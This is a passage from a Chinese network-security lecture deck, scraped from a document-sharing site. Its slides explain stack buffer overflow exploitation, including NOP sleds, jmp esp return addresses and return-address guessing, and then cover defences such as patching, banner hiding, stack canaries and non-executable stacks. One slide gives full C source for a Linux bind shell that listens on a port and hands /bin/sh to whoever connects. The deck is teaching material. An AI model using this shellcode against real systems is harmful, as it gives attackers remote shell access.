shrebx,08跳轉(zhuǎn)的時(shí)候使用相對地址,如果出現(xiàn)0,則可以用nop來避免網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第85頁。86把shellcode裝到buffer中如何在內(nèi)存中找到一個(gè)jmpesp指令(二進(jìn)制碼為0xffe4)?可以在目標(biāo)exe或者dll中尋找,也可以在系統(tǒng)dll中尋找,但是系統(tǒng)dll有版本相依性另一個(gè)問題:如果溢出函數(shù)的返回指令有偏移(比如ret8),則esp往后移動(dòng)了解決的辦法是在shellcode的前面加上多個(gè)nop(二進(jìn)制碼為0x90,空操作)Ret-valshellcodeStackframe(buffer)低地址高地址jmpesp網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第86頁。87編寫Linux平臺(tái)下的shellcode編寫Linux平臺(tái)下的shellcode要簡單得多,下面是本地的shellcode(C語言)#include<stdio.h>voidmain(){char*name[2];name[0]="/bin/sh";name[1]=NULL;execve(name[0],name,NULL);}對于遠(yuǎn)程shell,把輸入輸出與socket聯(lián)系起來網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第87頁。88Linux下的遠(yuǎn)程shellcode代碼(C版本)intmain(){char*name[2];intfd,fd2,fromlen;structsockaddr_inserv;fd=socket(AF_INET,SOCK_STREAM,0);serv.sin_addr.s_addr=0;serv.sin_port=1234;serv.sin_family=AF_INET;bind(fd,(structsockaddr*)&serv,16);listen(fd,1);fromlen=16;/*(sizeof(structsockaddr)*/fd2=accept(fd,(structsockaddr*)&serv,&fromlen);/*"connect"fd2tostdin,stdout,stderr*/dup2(fd2,0);dup2(fd2,1);dup2(fd2,2);/0,1,2文件描述符
name[0]="/bin/sh";name[1]=NULL;execve(name[0],name,NULL); exit(0);}網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第88頁。89Linux下shellcode的注意點(diǎn)系統(tǒng)調(diào)用在Linux(+Intel)下,系統(tǒng)調(diào)用的匯編碼是int0x80,所以與具體的版本無關(guān)。通過寄存器來傳遞參數(shù)但是,需要把用到的每個(gè)系統(tǒng)調(diào)用反匯編出來,得到它們的二進(jìn)制碼。用gcc/gdb就可以做到(gcc中使用-static選項(xiàng))消除shellcode中的null字節(jié)用一些簡單的技巧可以替換掉指令中的null字節(jié)把shellcode裝到buffer中編寫一個(gè)exploit程序產(chǎn)生這樣的bufferRet-valshellcodeStackframe(buffer)低地址高地址網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第89頁。90Linux下發(fā)掘程序的bufferoverflows漏洞利用shellcode構(gòu)造出一個(gè)buffer猜測返回地址從棧頂(固定)一直往下猜,兩個(gè)參數(shù):Ret-val的個(gè)數(shù)緩沖區(qū)離棧頂?shù)钠芌et-valshellcodeRet-valRet-val………para1Ret-add正常的
Buffer高地址低地址改進(jìn):提高猜中的概率Ret-valshellcodeRet-valNOPsRet-val…Buffer:網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第90頁。91緩沖區(qū)溢出攻擊4.緩沖區(qū)溢出防御措施(1)安裝安全補(bǔ)丁。(2)編寫安全的代碼:緩沖區(qū)溢出攻擊的根源在于編寫程序的機(jī)制。因此,防范緩沖區(qū)溢出漏洞首先應(yīng)該確保在Linux系統(tǒng)上運(yùn)行的程序(包括系統(tǒng)軟件和應(yīng)用軟件)代碼的正確性,避免程序中有不檢查變量、緩沖區(qū)大小及邊界等情況存在。比如,使用grep工具搜索源代碼中容易產(chǎn)生漏洞的庫調(diào)用,檢測變量的大小、數(shù)組的邊界、對指針變量進(jìn)行保護(hù),以及使用具有邊界、大小檢測功能的C編譯器等。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第91頁。92緩沖區(qū)溢出攻擊(3)基于一定的安全策略設(shè)置系統(tǒng):攻擊者攻擊某一個(gè)Linux系統(tǒng),必須事先通過某些途徑對要攻擊的系統(tǒng)做必要的了解,如版本信息等,然后再利用系統(tǒng)的某些設(shè)置直接或間接地獲取控制權(quán)。因此,防范緩沖區(qū)溢出攻擊就要對系統(tǒng)設(shè)置實(shí)施有效的安全策略。這些策略種類很多,下面只列舉幾個(gè)典型措施。在裝有Telnet服務(wù)的情況下,通過手工改寫“/etc/inetd.conf”文件中的Telnet設(shè)置,使得遠(yuǎn)程登錄的用戶無法看到系統(tǒng)的提示信息。具體方法是將Telnet設(shè)置改寫為:
telnetstreamtcpnowaitroot/usr/sbin/tcpd/in.telnetd-h末尾加上“-h”參數(shù)可以讓守護(hù)進(jìn)程不顯示任何系統(tǒng)信息,只顯示登錄提示。改寫“rc.local”文件。默認(rèn)情況下,當(dāng)?shù)卿汱inux系統(tǒng)時(shí)系統(tǒng)運(yùn)行rc.local文件,顯示該Linux發(fā)行版本的名字、版本號(hào)、內(nèi)核版本和服務(wù)器名稱等信息,這使得大量系統(tǒng)信息被泄露。將“rc.local”文件中顯示這些信息的代碼注釋掉,可以使系統(tǒng)不顯示這些信息。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第92頁。93緩沖區(qū)溢出攻擊一種方法是在顯示這些信息的代碼行前加“#”:…#echo"">/etc/issue#echo"$R">>/etc/issue#echo"Kernel$(uname-r)on$a$(uname-m)">>/etc/issue##echo>>/etc/issue…另一種方法是將保存有系統(tǒng)信息的文件/etc/和issue刪除。這兩個(gè)文件分別用于在遠(yuǎn)程登錄和本地登錄時(shí)向用戶提供相關(guān)信息。刪除這兩個(gè)文件的同時(shí),仍需要完成方法一中的注釋工作,否則,系統(tǒng)在啟動(dòng)時(shí)將會(huì)自動(dòng)重新生成這兩個(gè)文件。禁止提供finger服務(wù)。使用finger命令可以顯示本地或遠(yuǎn)程系統(tǒng)中目前已登錄用戶的詳細(xì)信息。禁止提供finger服務(wù)的有效方法是,通過修改該文件屬性、權(quán)限,使得只有root用戶才可以執(zhí)行該命令。處理“inetd.conf”文件。該程序通過“/etc/inetd.conf”文件獲得inetd在監(jiān)聽哪些網(wǎng)絡(luò)端口,為每個(gè)端口啟動(dòng)哪些特定服務(wù)等信息,會(huì)泄露大量的敏感信息。
網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第93頁。94緩沖區(qū)溢出攻擊(4)保護(hù)堆棧加入函數(shù)建立和銷毀代碼。前者在函數(shù)返回地址后增加一些附加字節(jié),返回時(shí)要檢查這些字節(jié)有無被改動(dòng)。使堆棧不可執(zhí)行——非執(zhí)行緩沖區(qū)技術(shù),使入侵者無法利用緩沖區(qū)溢出漏洞。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第94頁。95為什么不寫出不受影響的代碼來?編程的問題都可以
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 單獨(dú)招生(機(jī)電類)測試題與答案
- 個(gè)人寒假學(xué)習(xí)計(jì)劃
- 體育器械采購合同范本
- 企業(yè)聯(lián)銷合同范本
- 單位電力購買合同范本
- 醫(yī)療器械回收合同范本
- 出租光伏平房合同范本
- 衛(wèi)生院聘用合同范本
- 《讓世界充滿愛》教案設(shè)計(jì)
- 儲(chǔ)氣庫鉆井招投標(biāo)合同范本
- 《給校園植物掛牌》課件
- 氣道高反應(yīng)性教學(xué)演示課件
- 公文寫作格式規(guī)范課件
- 強(qiáng)酸強(qiáng)堿培訓(xùn)課件
- 蔬菜種植與有機(jī)農(nóng)業(yè)培訓(xùn)
- 寶鋼BQB 481-2023全工藝?yán)滠堉蓄l無取向電工鋼帶文件
- 企業(yè)文化變革的阻力與推進(jìn)策略
- 特種設(shè)備作業(yè)人員資格申請表(新版)
- 巡察組作風(fēng)紀(jì)律情況評估表
- 煤礦架空乘人裝置安裝檢驗(yàn)報(bào)告
- HSK標(biāo)準(zhǔn)教程5下-課件-L1
評論
0/150
提交評論